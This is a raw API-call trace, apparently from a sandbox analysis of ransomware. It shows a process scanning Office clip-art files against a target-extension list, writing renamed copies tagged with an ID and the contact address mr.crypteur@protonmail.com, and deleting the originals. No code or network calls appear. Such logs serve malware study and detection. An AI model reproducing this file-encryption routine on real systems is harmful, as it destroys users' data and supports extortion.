lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.102] lstrlenW (lpString=".docx") returned 5 [0274.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.102] lstrlenW (lpString=".pdf") returned 4 [0274.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.102] lstrlenW (lpString=".xls") returned 4 [0274.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.103] lstrlenW (lpString=".xlsx") returned 5 [0274.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.103] lstrlenW (lpString=".ppt") returned 4 [0274.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.103] lstrlenW (lpString=".zip") returned 4 [0274.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.103] lstrlenW (lpString=".rar") returned 4 [0274.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.103] lstrlenW (lpString=".bz2") returned 4 [0274.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.103] lstrlenW (lpString=".7z") returned 3 [0274.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.104] lstrlenW (lpString=".dbf") returned 4 [0274.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.104] lstrlenW (lpString=".1cd") returned 4 [0274.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.104] lstrlenW (lpString=".jpg") returned 4 [0274.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.105] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.105] lstrlenW (lpString="BD07831_.WMF") returned 12 [0274.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0274.276] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4066) returned 1 [0274.277] CloseHandle (hObject=0x3b8) returned 1 [0274.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0274.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0274.611] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.611] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0274.612] GetLastError () returned 0x0 [0274.612] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0274.779] WriteFile (in: hFile=0x164, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0274.782] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.782] WriteFile (in: hFile=0x164, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.782] SetEndOfFile (hFile=0x164) returned 1 [0274.783] CloseHandle (hObject=0x164) returned 1 [0274.784] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.784] SetEndOfFile (hFile=0x3b4) returned 1 [0274.790] CloseHandle (hObject=0x3b4) returned 1 [0274.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0274.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.793] lstrlenW (lpString=".doc") returned 4 [0274.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.793] lstrlenW (lpString=".docx") returned 5 [0274.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.793] lstrlenW (lpString=".pdf") returned 4 [0274.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.793] lstrlenW (lpString=".xls") returned 4 [0274.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.793] lstrlenW (lpString=".xlsx") returned 5 [0274.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.793] lstrlenW (lpString=".ppt") returned 4 [0274.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.793] lstrlenW (lpString=".zip") returned 4 [0274.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.793] lstrlenW (lpString=".rar") returned 4 [0274.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.794] lstrlenW (lpString=".bz2") returned 4 [0274.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.794] lstrlenW (lpString=".7z") returned 3 [0274.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.794] lstrlenW (lpString=".dbf") returned 4 [0274.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.794] lstrlenW (lpString=".1cd") returned 4 [0274.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.794] lstrlenW (lpString=".jpg") returned 4 [0274.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.795] lstrlenW (lpString=".doc") returned 4 [0274.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.795] lstrlenW (lpString=".docx") returned 5 [0274.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.795] lstrlenW (lpString=".pdf") returned 4 [0274.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.795] lstrlenW (lpString=".xls") returned 4 [0274.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.795] lstrlenW (lpString=".xlsx") returned 5 [0274.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.796] lstrlenW (lpString=".ppt") returned 4 [0274.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.796] lstrlenW (lpString=".zip") returned 4 [0274.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.796] lstrlenW (lpString=".rar") returned 4 [0274.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.796] lstrlenW (lpString=".bz2") returned 4 [0274.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.796] lstrlenW (lpString=".7z") returned 3 [0274.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.796] lstrlenW (lpString=".dbf") returned 4 [0274.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.797] lstrlenW (lpString=".1cd") returned 4 [0274.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0274.797] lstrlenW (lpString=".jpg") returned 4 [0274.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.797] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.798] lstrlenW (lpString="BD08808_.WMF") returned 12 [0274.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0274.798] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=47996) returned 1 [0274.799] CloseHandle (hObject=0x3b4) returned 1 [0274.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0274.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0274.800] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.800] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0274.800] GetLastError () returned 0x0 [0274.801] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0274.923] WriteFile (in: hFile=0x164, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0274.928] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.929] WriteFile (in: hFile=0x164, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.929] SetEndOfFile (hFile=0x164) returned 1 [0274.929] CloseHandle (hObject=0x164) returned 1 [0275.456] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.456] SetEndOfFile (hFile=0x3b4) returned 1 [0277.311] CloseHandle (hObject=0x3b4) returned 1 [0277.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0277.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.723] lstrlenW (lpString=".doc") returned 4 [0277.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.723] lstrlenW (lpString=".docx") returned 5 [0277.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.723] lstrlenW (lpString=".pdf") returned 4 [0277.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.724] lstrlenW (lpString=".xls") returned 4 [0277.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.724] lstrlenW (lpString=".xlsx") returned 5 [0277.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.724] lstrlenW (lpString=".ppt") returned 4 [0277.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.724] lstrlenW (lpString=".zip") returned 4 [0277.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.724] lstrlenW (lpString=".rar") returned 4 [0277.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.724] lstrlenW (lpString=".bz2") returned 4 [0277.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.725] lstrlenW (lpString=".7z") returned 3 [0277.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.725] lstrlenW (lpString=".dbf") returned 4 [0277.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.725] lstrlenW (lpString=".1cd") returned 4 [0277.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.725] lstrlenW (lpString=".jpg") returned 4 [0277.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.726] lstrlenW (lpString=".doc") returned 4 [0277.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.726] lstrlenW (lpString=".docx") returned 5 [0277.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.726] lstrlenW (lpString=".pdf") returned 4 [0277.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.726] lstrlenW (lpString=".xls") returned 4 [0277.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.726] lstrlenW (lpString=".xlsx") returned 5 [0277.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.726] lstrlenW (lpString=".ppt") returned 4 [0277.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.727] lstrlenW (lpString=".zip") returned 4 [0277.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.727] lstrlenW (lpString=".rar") returned 4 [0277.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.727] lstrlenW (lpString=".bz2") returned 4 [0277.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.727] lstrlenW (lpString=".7z") returned 3 [0277.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.727] lstrlenW (lpString=".dbf") returned 4 [0277.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.728] lstrlenW (lpString=".1cd") returned 4 [0277.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0277.728] lstrlenW (lpString=".jpg") returned 4 [0277.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.728] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0277.728] lstrlenW (lpString="BD09664_.WMF") returned 12 [0277.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0277.849] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=7966) returned 1 [0277.849] CloseHandle (hObject=0x3b4) returned 1 [0277.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0277.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.915] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.916] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0277.919] GetLastError () returned 0x0 [0277.920] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0278.015] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0278.021] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.021] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.022] SetEndOfFile (hFile=0x3a8) returned 1 [0278.022] CloseHandle (hObject=0x3a8) returned 1 [0278.023] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.024] SetEndOfFile (hFile=0x388) returned 1 [0278.031] CloseHandle (hObject=0x388) returned 1 [0278.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0278.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.034] lstrlenW (lpString=".doc") returned 4 [0278.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.034] lstrlenW (lpString=".docx") returned 5 [0278.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.035] lstrlenW (lpString=".pdf") returned 4 [0278.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.035] lstrlenW (lpString=".xls") returned 4 [0278.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.035] lstrlenW (lpString=".xlsx") returned 5 [0278.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.035] lstrlenW (lpString=".ppt") returned 4 [0278.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.035] lstrlenW (lpString=".zip") returned 4 [0278.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.035] lstrlenW (lpString=".rar") returned 4 [0278.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.036] lstrlenW (lpString=".bz2") returned 4 [0278.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.036] lstrlenW (lpString=".7z") returned 3 [0278.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.036] lstrlenW (lpString=".dbf") returned 4 [0278.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.036] lstrlenW (lpString=".1cd") returned 4 [0278.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.036] lstrlenW (lpString=".jpg") returned 4 [0278.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.037] lstrlenW (lpString=".doc") returned 4 [0278.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.037] lstrlenW (lpString=".docx") returned 5 [0278.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.037] lstrlenW (lpString=".pdf") returned 4 [0278.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.037] lstrlenW (lpString=".xls") returned 4 [0278.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.037] lstrlenW (lpString=".xlsx") returned 5 [0278.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.038] lstrlenW (lpString=".ppt") returned 4 [0278.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.038] lstrlenW 